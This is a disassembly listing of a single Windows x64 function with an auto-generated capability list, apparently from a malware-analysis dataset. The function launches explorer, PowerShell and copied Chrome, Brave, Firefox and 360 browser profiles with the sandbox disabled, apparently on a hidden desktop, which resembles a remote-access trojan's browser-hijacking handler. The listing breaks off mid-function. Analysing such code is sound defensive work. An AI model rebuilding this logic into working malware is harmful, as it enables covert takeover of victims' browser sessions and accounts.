Function at 0x180006fd0
Capabilities:
Create process on windows
Create process suspended
Get common file path
Get file size
Query or enumerate registry value
Read file on windows
Set registry value

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4418]
mov eax, 0x4518
call fcn.180011830
sub rsp, rax
mov rax, qword [0x18006f1d0]
xor rax, rsp
mov qword [rbp + 0x43f0], rax
movzx eax, byte [rdx]
mov rbx, rdx
mov r9, rcx
cmp al, 0xc9
je case.default.0x180007118
movzx eax, al
add eax, 0xfffffffc
cmp eax, 0x10
ja case.0x18000702c.8
lea rdx, [0x180000000]
cdqe
mov eax, dword [rdx + rax*4 + 0x8518]
add rax, rdx
jmp rax
call fcn.180006f50
jmp case.default.0x180007118
lea rdx, [rbx + 1]
dec r8d
call fcn.180008b90
jmp case.default.0x180007118
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
jmp case.default.0x180007118
movzx ecx, byte [rbx + 1]
mov eax, 0x3e8
cdq
mov dword [r9 + 0x40], ecx
idiv ecx
mov rcx, qword [r9 + 0x160]
mov dword [rcx + 0x1d4], eax
jmp case.default.0x180007118
call fcn.180009180
jmp case.default.0x180007118
lea edx, [r8 - 1]
lea rcx, [rbx + 1]
call fcn.1800090f0
jmp case.default.0x180007118
call fcn.180009260
jmp case.default.0x180007118
movzx eax, byte [rbx + 1]
mov byte [rcx + 0x38], al
mov ecx, eax
mov rax, qword [r9 + 0x160]
xchg dword [rax + 0x2c], ecx
jmp case.default.0x180007118
mov rax, qword [rcx + 0x160]
mov dword [rax + 0x24], 0x3c
jmp case.default.0x180007118
mov rax, qword [rcx + 0x160]
mov dword [rax + 0x24], 0x55
jmp case.default.0x180007118
mov rax, qword [rcx + 0x160]
mov dword [rax + 0x24], 0x64
jmp case.default.0x180007118
movzx eax, byte [rbx + 1]
cmp eax, 0xc
ja case.default.0x180007118
mov qword [rsp + 0x4548], rsi
mov qword [rsp + 0x4510], rdi
mov ecx, dword [rdx + rax*4 + 0x855c]
add rcx, rdx
jmp rcx
lea rax, [rsp + 0x58]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x64], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x60]
lea rdx, str.TaskbarGlomLevel
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x54]
xor r8d, r8d
mov dword [rsp + 0x50], 4
mov dword [rsp + 0x60], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rsp + 0x54], 2
je 0x1800071bb
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
lea rdx, str.TaskbarGlomLevel
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x64]
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [rbp + 0x2712]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x2710], si
call fcn.180006860
lea rcx, [rbp + 0x2710]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [0x18006875c]
lea rcx, [rbp + 0x2710]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x2710]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x4a8]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rcx, [rbp + 0x2710]
mov qword [rbp + 0x4b0], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x4a0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x4a0], WSAGetLastError
mov qword [rbp + 0x78], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0x660], gethostbyname
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shell_TrayWnd
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rbp + 0x668], rax
test rax, rax
jne 0x1800072c1
inc esi
cmp esi, 5
jl 0x180007294
lea rdx, [rbp + 0x660]
mov ecx, 0xa
mov qword [rbp + 0x688], 2
call qword [sym.imp.SHELL32.dll_SHAppBarMessage]
mov r11d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x54]
mov dword [rsp + 0x28], r11d
lea rdx, str.TaskbarGlomLevel
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180007a1d
lea rcx, [rbp + 0x2d42]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x2d40], si
call fcn.180006860
lea rdx, [rbp + 0x2d40]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [rsi + 0x25]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str._rundll32.exe_shell32.dll_61
lea rcx, [rbp + 0x2d40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x358]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x2d40]
mov qword [rbp + 0x360], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x350]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x350], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp + 0x18], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x3dc2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3dc0], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start_powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
lea rcx, [rbp + 0x3dc0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x3c8]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x3dc0]
mov qword [rbp + 0x3d0], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3c0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x3c0], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp - 0x48], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x2922]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x2920], si
call fcn.180006860
lea rdx, [rbp + 0x2920]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [rsi + 0x1c]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.GoogleChrome_
lea rcx, [rbp + 0x2920]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x3bb2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3bb0], si
call fcn.180006860
lea rdx, [rbp + 0x2920]
lea rcx, [rbp + 0x3bb0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.User_Data_
lea rcx, [rbp + 0x3bb0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
lea rcx, [rbp + 0x1cc2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x730], si
mov qword [rbp + 0x732], rax
mov qword [rbp + 0x73a], rax
mov qword [rbp + 0x742], rax
mov qword [rbp + 0x74a], rax
mov qword [rbp + 0x752], rax
mov qword [rbp + 0x75a], rax
mov qword [rbp + 0x762], rax
mov qword [rbp + 0x76a], rax
mov dword [rbp + 0x772], eax
mov word [rbp + 0x1cc0], si
call fcn.180006860
lea rdx, [rbp + 0x2920]
lea rcx, [rbp + 0x1cc0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x730]
call fcn.180006890
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x1cc0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1cc0]
lea rcx, [rbp + 0x3bb0]
call fcn.180006a10
lea rcx, [rbp + 0xc42]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xc40], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.chrome.exe
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11____origin_trial_disabled_featuresSecurePaymentConfirmation___user_data_dir
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x180068b94]
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1cc0]
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x438]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
mov dword [rbp + 0x430], WSAGetLastError
mov qword [rbp + 0x440], rax
xor eax, eax
lea rdx, [rbp + 0xc40]
xor r9d, r9d
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x430]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x70], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x2502]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x2500], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x2500]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x180068b98]
lea rcx, [rbp + 0x2500]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea rcx, [rbp + 0x2500]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x208]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x2500]
mov qword [rbp + 0x210], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x200]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x200], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp - 0x18], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
call fcn.180006c40
lea rcx, [rbp + 0x20e2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x20e0], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.brave.exe
lea rcx, [rbp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea rcx, [rbp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x128]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x20e0]
mov qword [rbp + 0x130], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x120]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x120], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x1272]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov qword [rsp + 0x4508], r12
mov word [rbp + 0x1270], si
call fcn.180006860
lea rdx, [rbp + 0x1270]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [rsi + 0x1a]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.MozillaFirefox_
lea rcx, [rbp + 0x1270]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x3372]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3370], si
call fcn.180006860
lea rdx, [rbp + 0x1270]
lea rcx, [rbp + 0x3370]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.TaskbarGlomLevel
lea rcx, [rbp + 0x3370]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x30], rsi
lea edx, [rsi + 1]
lea r8d, [rsi + 3]
lea rcx, [rbp + 0x3370]
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x180007a15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, 0xffffffffffffffff
mov ebx, eax
mov eax, 2
lea edx, [rbx + 1]
mul rdx
cmovo rax, rcx
mov rcx, rax
call fcn.18000adfc
lea r9, [rsp + 0x68]
mov r8d, ebx
mov rcx, r12
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rdx, str.IsRelative
mov rcx, rdi
mov word [rdi + rbx*2], si
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x1800079b6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x180007a15
mov rcx, rdi
call fcn.18000ae04
jmp 0x180007a15
cmp word [rax + 0x16], 0x31
mov qword [rsp + 0x4500], r13
lea rdx, str.Path
mov rcx, rdi
mov r13d, esi
sete r13b
call qword [sym.imp.SHLWAPI.dll_StrStrW]
mov rbx, rax
test rax, rax
je 0x1800079f7
lea rdx, [0x180068ce4]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x180007a46
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x180007a0d
mov rcx, rdi
call fcn.18000ae04
mov r13, qword [rsp + 0x4500]
mov r12, qword [rsp + 0x4508]
mov rsi, qword [rsp + 0x4548]
mov rdi, qword [rsp + 0x4510]
mov rcx, qword [rbp + 0x43f0]
xor rcx, rsp
call fcn.18000ae20
add rsp, 0x4518
pop rbx
pop rbp
ret
mov word [rax], si
lea rcx, [rbp + 0x39a2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x39a0], si
call fcn.180006860
test r13d, r13d
je 0x180007a7d
lea rdx, [rbp + 0x1270]
lea rcx, [rbp + 0x39a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbx + 0xa]
lea rcx, [rbp + 0x39a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x7d0]
call fcn.180006890
lea rdx, [rbp + 0x1270]
lea rcx, [rbp + 0x3fd0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x3fd0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x3fd0]
lea rcx, [rbp + 0x39a0]
call fcn.180006a10
lea rcx, [rbp + 0x822]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x820], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x180068ce8]
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.__no_remote__profile
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x180068b94]
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x3fd0]
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x180068b94]
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rbp + 0x198]
lea r8d, [rdx + 0x60]
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x820]
mov qword [rbp + 0x1a0], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x190]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x190], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp - 0x78], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a0d
lea rcx, [rbp + 0x3792]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3790], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x3790]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.iexplore.exe
lea rcx, [rbp + 0x3790]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x2e8]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x3790]
mov qword [rbp + 0x2f0], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2e0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x2e0], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp - 0x60], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x41e2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x41e0], si
call fcn.180006860
lea rdx, [rbx + 2]
lea rcx, [rbp + 0x41e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0xb8]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0x41e0]
mov qword [rbp + 0xc0], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0xb0], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp - 0x30], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
mov ecx, 0x618
call fcn.18000b478
xor edx, edx
mov r8d, 0x618
mov rcx, rax
mov rdi, rax
call fcn.180006860
lea rdx, [rbx + 2]
mov rcx, rdi
call fcn.18000ae50
lea rdx, [rdi + 0x208]
mov rcx, rdi
call fcn.180006a10
lea rcx, [rbp + 0xa32]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xa30], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0xa30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rdi + 0x410]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea rcx, [rbp + 0xa30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x180068b94]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rdi + 0x208]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x518]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
lea rdx, [rbp + 0xa30]
mov qword [rbp + 0x520], rax
xor eax, eax
xor r9d, r9d
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
lea rax, [rbp]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x510]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rbp + 0x510], WSAGetLastError
mov dword [rsp + 0x20], esi
mov qword [rbp], rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rdi
call fcn.18000ae04
jmp 0x180007a1d
lea rcx, [rbp + 0x18a2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x18a0], si
call fcn.180006860
lea rdx, [rbp + 0x18a0]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [rsi + 0x1c]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.360ChromeChrome_
lea rcx, [rbp + 0x18a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x2f52]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x2f50], si
call fcn.180006860
lea rdx, [rbp + 0x18a0]
lea rcx, [rbp + 0x2f50]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.User_Data_
lea rcx, [rbp + 0x2f50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
lea rcx, [rbp + 0x1ab2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x690], si
mov qword [rbp + 0x692], rax
mov qword [rbp + 0x69a], rax
mov qword [rbp + 0x6a2], rax
mov qword [rbp + 0x6aa], rax
mov qword [rbp + 0x6b2], rax
mov qword [rbp + 0x6ba], rax
mov qword [rbp + 0x6c2], rax
mov qword [rbp + 0x6ca], rax
mov dword [rbp + 0x6d2], eax
mov word [rbp + 0x1ab0], si
call fcn.180006860
lea rdx, [rbp + 0x18a0]
lea rcx, [rbp + 0x1ab0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x690]
call fcn.180006890
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0x1ab0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1ab0]
lea rcx, [rbp + 0x2f50]
call fcn.180006a10
lea rcx, [rbp + 0xe52]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xe50], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0xe50]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.360chrome.exe
lea rcx, [rbp + 0xe50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea rcx, [rbp + 0xe50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x180068b94]
lea rcx, [rbp + 0xe50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1ab0]
lea rcx, [rbp + 0xe50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x5f8]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
mov dword [rbp + 0x5f0], WSAGetLastError
mov qword [rbp + 0x600], rax
xor eax, eax
lea rdx, [rbp + 0xe50]
xor r9d, r9d
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x5f0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x30], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x1ed2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1ed0], si
call fcn.180006860
lea rdx, [rbp + 0x1ed0]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [rsi + 0x1a]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [0x18006875c]
lea rcx, [rbp + 0x1ed0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x3162]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3160], si
call fcn.180006860
lea rdx, [rbp + 0x1ed0]
lea rcx, [rbp + 0x3160]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.secoresdk_
lea rcx, [rbp + 0x3160]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
lea rcx, [rbp + 0x1062]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x780], si
mov qword [rbp + 0x782], rax
mov qword [rbp + 0x78a], rax
mov qword [rbp + 0x792], rax
mov qword [rbp + 0x79a], rax
mov qword [rbp + 0x7a2], rax
mov qword [rbp + 0x7aa], rax
mov qword [rbp + 0x7b2], rax
mov qword [rbp + 0x7ba], rax
mov dword [rbp + 0x7c2], eax
mov word [rbp + 0x1060], si
call fcn.180006860
lea rdx, [rbp + 0x1ed0]
lea rcx, [rbp + 0x1060]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x780]
call fcn.180006890
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x1060]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x3160]
call fcn.180006a10
lea rdx, str.360se6Application360se.exe
lea rcx, [rbp + 0x1060]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x22f2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x22f0], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x22f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x22f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea rcx, [rbp + 0x22f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x588]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
mov dword [rbp + 0x580], WSAGetLastError
mov qword [rbp + 0x590], rax
xor eax, eax
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], rax
